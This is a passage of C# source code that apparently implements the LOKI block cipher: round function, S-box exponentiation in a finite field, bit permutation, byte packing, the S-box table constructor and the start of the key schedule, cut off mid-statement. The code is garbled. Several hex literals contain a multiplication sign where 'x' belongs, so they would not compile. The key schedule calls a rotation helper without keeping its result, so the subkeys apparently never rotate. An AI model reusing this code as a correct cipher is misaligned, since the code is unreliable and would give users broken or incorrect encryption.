((uint) s( (uint)((a >> 8) & MASK12) ) << 8) |

((uint) s( (uint)((a >> 16) & MASK12) ) << 16) |

((uint) s( (uint)(((a >> 24) | (a << 8)) & MASK12) ) << 24);

perm32(ref C, b, P ); /* C = P(S( E(R(i–1)) XOR K(i))) */

return C; /* f returns the result C */

}

private short s(uint i)

{

short r, c, v, t;

r = (short)(((i>>8) & 0xc) | (i & 0×3));

c = (short) ((i >> 2) & 0xff);

t = (short)((c + ((r * 17) ^ 0xff)) & 0xff);

v = exp8(t, sfn[r].exp, sfn[r].gen);

return (v);

}

private void perm32(ref uint b_out, uint b_in , byte[] p)

{

uint mask = MSB; /* mask used to set bit in output */

int i, o, b; /* input bit no, output bit no, value */

b_out = 0; /* clear output block */

for (o=0; o<32; o++) { /* For each output bit position o */

i =(int)p[o]; /* get input bit permuted to output o */

b = (int)(b_in >> i) & 0×1; /* value of input bit i */

if (b == 1)

{ /* If the input bit i is set */

b_out |= mask; /* OR in mask to output i */

}

mask >>= 1; /* Shift mask to next bit */

}

}

private short mult8( short a, short b, short gen )

{

short product = 0; /* result of multiplication */

while (b != 0)

{ /* while multiplier is non–zero */

if ((b & 1) == 1)

{

product ^= a; /* add multiplicand if LSB of b set */

}

a <<= 1; /* shift multiplicand one place */

if (a >= SIZE)

{

a ^= gen; /* and modulo reduce if needed */

}

b >>= 1; /* shift multiplier one place */

}

return (product);

}

private short exp8(short expbase, short exponent, short gen)

{

short accum = expbase; /* superincreasing sequence of base */

short result = 1; /* result of exponentiation */

if ( expbase == 0) { /* if zero base specified then */

return(0); /* the result is “0” if base = 0 */

}

while (exponent != 0) { /* repeat while exponent non–zero */

if (( exponent & 0×0001) == 0×0001) {

result = mult8(result, accum, gen);

}

exponent >>= 1;

accum = mult8(accum, accum, gen);

}

return (result);

}

private uint ConcateByteToUInt( byte[] data )

{

uint a = (data[0] & 0xFFFFFFFF) << 24;

uint b = (data[1] & 0xFFFFFFFF) << 16;

uint c = (data[2] & 0xFFFFFFFF) << 8;

uint d = data[3];

return a | b | c | d;

}

private byte[] SplitUIntToByte( uint data )

{

byte[] b = new byte[4];

b[0] = (byte) ((data & 0xFF000000) >> 24);

b[1] = (byte) ((data & 0×00FF0000) >> 16);

b[2] = (byte) ((data & 0×0000FF00) >> 8);

b[3] = (byte) (data & 0×000000FF) ;

return b;

}

// PUBLIC //

public LOKI()

{

/* initialize */sfn = new sfn_desc[17];

/* 101110111 */ sfn[0] = new sfn_desc(375, 31);

/* 101111011 */ sfn[1] = new sfn_desc(379, 31) ;

/* 110000111 */ sfn[2] = new sfn_desc(391, 31) ;

/* 110001011 */ sfn[3] = new sfn_desc(395, 31);

/* 110001101 */ sfn[4] = new sfn_desc(397, 31) ;

/* 110011111 */ sfn[5] = new sfn_desc(415, 31);

/* 110100011 */ sfn[6] = new sfn_desc(419, 31);

/* 110101001 */ sfn[7] = new sfn_desc(425, 31);

/* 110110001 */ sfn[8] = new sfn_desc(433, 31) ;

/* 110111101 */ sfn[9] = new sfn_desc(445, 31);

/* 111000011 */ sfn[10] = new sfn_desc(451, 31) ;

/* 111001111 */ sfn[11] = new sfn_desc(463, 31);

/* 111010111 */ sfn[12] = new sfn_desc(471, 31) ;

/* 111011101 */ sfn[13] = new sfn_desc(477, 31);

/* 111100111 */ sfn[14] = new sfn_desc(487, 31) ;

/* 111110011 */ sfn[15] = new sfn_desc( 499, 31 );

/* 000000000 */ sfn[16] = new sfn_desc(00, 00);

lctx = new loki_ctx();

}

public void SetLokiKey( byte[] key)

{

int i;

uint KL, KR;

KL = Get32BitFrom64Bit( key, 0 );

KR = Get32BitFrom64Bit( key, 1 );

for (i=0; i<ROUNDS; i+=4) { /* Generate the 16 subkeys */

lctx.loki_subkeys[i] = KL;

CircularShift( 12, KL );

lctx.loki_subkeys[i+1] = KL;

CircularShift( 13, KL );

lctx.loki_subkeys[i+2] = KR;

CircularShift( 12, KR );

lctx.loki_subkeys[i+3] =